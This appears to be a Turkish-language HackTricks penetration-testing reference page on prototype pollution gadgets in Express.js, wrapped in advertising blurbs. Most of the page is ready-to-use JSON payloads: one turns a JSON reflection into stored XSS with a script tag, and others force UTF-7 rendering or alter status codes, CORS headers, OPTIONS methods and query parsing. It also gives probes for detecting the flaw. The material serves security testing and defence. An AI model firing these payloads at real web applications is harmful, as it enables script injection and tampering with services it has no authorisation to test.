Express Prototype Pollution Gadgets

AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!

HackTricks'i desteklemenin diğer yolları:

WhiteIntel, karanlık ağ destekli bir arama motorudur ve şirketin veya müşterilerinin hırsız kötü amaçlı yazılımlar tarafından kompromize edilip edilmediğini kontrol etmek için ücretsiz işlevler sunar.

WhiteIntel'in başlıca amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.

Websitesini ziyaret edebilir ve motorlarını ücretsiz deneyebilirsiniz:


XSS yanıtlarını sunun

Daha fazla ayrıntı için orijinal araştırmaya göz atın

JSON içerik türünü HTML olarak değiştirin

Bir Express uygulamasında JSON içerik türü yanıtı kullanan ve bir JSON yansıtan:

app.use(bodyParser.json({type: 'application/json'}));
app.post('/', function(req, res){
_.merge({}, req.body);
res.send(req.body);
});

Bu durumlarda XSS genellikle JSON içerik türüyle mümkün olmaz. Bununla birlikte, prototype pollution ile Express'i bir HTML yanıtı sunmaya zorlayabiliriz. Bu zafiyet, uygulamanın res.send(obj) kullanmasına ve application/json içerik türüyle body ayrıştırıcısını kullanmasına dayanır.

{"__proto__":{"_body":true,"body":"<script>evil()"}}

body ve _body özelliklerini kirleterek, Express'in HTML içerik türünü sunmasına ve _body özelliğini yansıtarak depolanmış XSS'e neden olmak mümkündür.

UTF7 Renderleme

Express'in UTF-7 içeriği renderlamasını sağlamak mümkündür:

{"__proto__":{"content-type": "application/json; charset=utf-7"}}

Güvenli Tarama Teknikleri

JSON boşlukları

Aşağıdaki PP, bir JSON içindeki özelliklere işlevselliği bozmayacak ek bir boşluk ekleyecektir:

{"__proto__":{"json spaces": " "}}

Ardından yansıtılan JSON şu şekilde görünecektir:

{"foo":  "bar"} -- Note the extra space

Açıkta Kalan Başlıklar

Aşağıdaki PP cihazı sunucunun Access-Control-Expose_headers: foo HTTP başlığını geri göndermesini sağlayacaktır.

{"__proto__":{"exposedHeaders":["foo"]}}

CORS modülünün yüklü olması gerekmektedir

OPTIONS Metodu

Aşağıdaki yük ile bir OPTIONS yanıtından bir metod gizlemek mümkündür:

// Original reponse: POST,GET,HEAD

// Payload:
{"__proto__":{"head":true}}

//New response: POST;GET

Durum

Aşağıdaki PP yükü kullanılarak döndürülen durum kodu değiştirilebilir:

{"__proto__":{"status":510}}

Hata

Bir dize gibi bir ilkel değerle bir prototip atadığınızda, prototipin bir nesne olması gerektiği için bir işlem yapılmaz. Bir prototip nesnesini Object.prototype'e atamaya çalışırsanız, bu bir istisna fırlatacaktır. Bu iki davranışı kullanarak prototip kirliliğinin başarılı olup olmadığını tespit edebiliriz:

({}).__proto__.__proto__={}//throws type exception
({}).__proto__.__proto__="x"//no-op does not throw exception

Yansıtılan Değer

Bir uygulama yanıtında bir nesne içerdiğinde, __proto__ ile birlikte olağandışı bir isme sahip bir özellik oluşturmak, bilgilendirici olabilir. Özellikle, yanıtta yalnızca olağandışı özelliğin döndürülmesi, uygulamanın zafiyetini işaret edebilir:

{"unusualName":"value","__proto__":"test"}

Ayrıca, Lodash gibi bir kütüphane kullanıldığı senaryolarda, bir özelliği hem prototip kirliliği (PP) aracılığıyla hem de doğrudan nesnenin içine ayarlamak, başka bir teşhis yaklaşımı sunar. Eğer bu tür bir özellik yanıttan eksikse, bu, Lodash'ın birleştirmeden önce hedef nesnede özelliğin varlığını doğruladığını gösterir:

{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash

Diğer

Noktalara İzin Ver

Express'te sorgu dizesi parametrelerinden nesneler oluşturmanıza izin veren bir seçenek bulunmaktadır. Bu seçeneği kesinlikle bir hata zinciri içinde kullanarak bir prototype pollution zafiyetini sömürmekte kullanabilirsiniz.

{"__proto__":{"allowDots":true}}

?foo.bar=baz Node'da bir nesne oluşturur.

Referanslar

WhiteIntel, karanlık ağ destekli bir arama motorudur ve şirketin veya müşterilerinin hırsız kötü amaçlı yazılımlar tarafından kompromize edilip edilmediğini kontrol etmek için ücretsiz işlevsellikler sunar.

WhiteIntel'in başlıca amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye saldırılarıyla mücadele etmektir.

Websitesini ziyaret edebilir ve motorlarını ücretsiz deneyebilirsiniz:

Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'i desteklemenin diğer yolları:

Last updated